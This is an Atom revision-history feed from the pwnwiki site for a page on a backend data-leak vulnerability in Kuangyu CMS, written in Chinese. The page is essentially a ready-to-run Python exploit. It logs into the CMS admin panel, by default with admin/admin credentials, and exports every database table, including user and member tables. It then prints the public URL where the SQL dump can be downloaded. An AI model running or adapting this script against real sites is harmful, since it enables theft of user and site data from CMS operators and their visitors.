<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="chinese">
	<id>https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=%E7%8B%82%E9%9B%A8CMS%E5%BE%8C%E8%87%BA%E6%95%B8%E6%93%9A%E6%B3%84%E6%BC%8F%E6%BC%8F%E6%B4%9E</id>
	<title>狂雨CMS後臺數據泄漏漏洞 - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=%E7%8B%82%E9%9B%A8CMS%E5%BE%8C%E8%87%BA%E6%95%B8%E6%93%9A%E6%B3%84%E6%BC%8F%E6%BC%8F%E6%B4%9E"/>
	<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=%E7%8B%82%E9%9B%A8CMS%E5%BE%8C%E8%87%BA%E6%95%B8%E6%93%9A%E6%B3%84%E6%BC%8F%E6%BC%8F%E6%B4%9E&amp;action=history"/>
	<updated>2026-04-21T05:23:06Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://pwnwiki.com/index.php?title=%E7%8B%82%E9%9B%A8CMS%E5%BE%8C%E8%87%BA%E6%95%B8%E6%93%9A%E6%B3%84%E6%BC%8F%E6%BC%8F%E6%B4%9E&amp;diff=1567&amp;oldid=prev</id>
		<title>Pwnwiki: Created page with &quot;==EXP== &lt;pre&gt; # !/usr/bin/python3 # -*- coding:utf-8 -*- # author: Forthrglory import requests import time  def getDatabase(url,username, password): session = requests.session...&quot;</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=%E7%8B%82%E9%9B%A8CMS%E5%BE%8C%E8%87%BA%E6%95%B8%E6%93%9A%E6%B3%84%E6%BC%8F%E6%BC%8F%E6%B4%9E&amp;diff=1567&amp;oldid=prev"/>
		<updated>2021-04-12T08:24:31Z</updated>

		<summary type="html">&lt;p&gt;Created page with &amp;quot;==EXP== &amp;lt;pre&amp;gt; # !/usr/bin/python3 # -*- coding:utf-8 -*- # author: Forthrglory import requests import time  def getDatabase(url,username, password): session = requests.session...&amp;quot;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;==EXP==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# !/usr/bin/python3&lt;br /&gt;
# -*- coding:utf-8 -*-&lt;br /&gt;
# author: Forthrglory&lt;br /&gt;
import requests&lt;br /&gt;
import time&lt;br /&gt;
&lt;br /&gt;
def getDatabase(url,username, password):&lt;br /&gt;
session = requests.session()&lt;br /&gt;
&lt;br /&gt;
u = 'http://%s/admin/index/login.html' % (url)&lt;br /&gt;
head = {&lt;br /&gt;
'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8'&lt;br /&gt;
}&lt;br /&gt;
data = {&lt;br /&gt;
'username': username,&lt;br /&gt;
'password': password,&lt;br /&gt;
'code': 1&lt;br /&gt;
}&lt;br /&gt;
session.post(u, data, headers = head)&lt;br /&gt;
&lt;br /&gt;
u = 'http://%s/admin/database/export.html' % (url)&lt;br /&gt;
data = {&lt;br /&gt;
'layTableCheckbox':'on',&lt;br /&gt;
'tables[0]':'ky_ad',&lt;br /&gt;
'tables[1]':'ky_addons',&lt;br /&gt;
'tables[2]':'ky_bookshelf',&lt;br /&gt;
'tables[3]':'ky_category',&lt;br /&gt;
'tables[4]':'ky_collect',&lt;br /&gt;
'tables[5]':'ky_comment',&lt;br /&gt;
'tables[6]':'ky_config',&lt;br /&gt;
'tables[7]':'ky_crontab',&lt;br /&gt;
'tables[8]':'ky_link',&lt;br /&gt;
'tables[9]':'ky_member',&lt;br /&gt;
'tables[10]':'ky_menu',&lt;br /&gt;
'tables[11]':'ky_news',&lt;br /&gt;
'tables[12]':'ky_novel',&lt;br /&gt;
'tables[13]':'ky_novel_chapter',&lt;br /&gt;
'tables[14]':'ky_route',&lt;br /&gt;
'tables[15]':'ky_slider',&lt;br /&gt;
'tables[16]':'ky_template',&lt;br /&gt;
'tables[17]':'ky_user',&lt;br /&gt;
'tables[18]':'ky_user_menu'&lt;br /&gt;
}&lt;br /&gt;
t = time.strftime(&amp;quot;%Y%m%d-%H%M%S&amp;quot;, time.localtime())&lt;br /&gt;
&lt;br /&gt;
session.post(u, data = data)&lt;br /&gt;
&lt;br /&gt;
for i in range(0, 19):&lt;br /&gt;
u2 = 'http://%s/admin/database/export.html?id=%s&amp;amp;start=0' % (url, str(i))&lt;br /&gt;
session.get(u2)&lt;br /&gt;
&lt;br /&gt;
t = 'http://' + url + '/public/database/' + t + '-1.sql.gz'&lt;br /&gt;
return t&lt;br /&gt;
&lt;br /&gt;
if __name__ == '__main__':&lt;br /&gt;
u = '127.0.0.1'&lt;br /&gt;
username = 'admin'&lt;br /&gt;
password = 'admin'&lt;br /&gt;
t = getDatabase(u, username, password)&lt;br /&gt;
print(t)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
運行EXP，得到路徑(默認生成路徑為/public/database/，可在設置中修改)&lt;br /&gt;
&lt;br /&gt;
直接訪問即可下載文件。&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==參考==&lt;br /&gt;
https://xz.aliyun.com/t/7486&lt;/div&gt;</summary>
		<author><name>Pwnwiki</name></author>
	</entry>
</feed>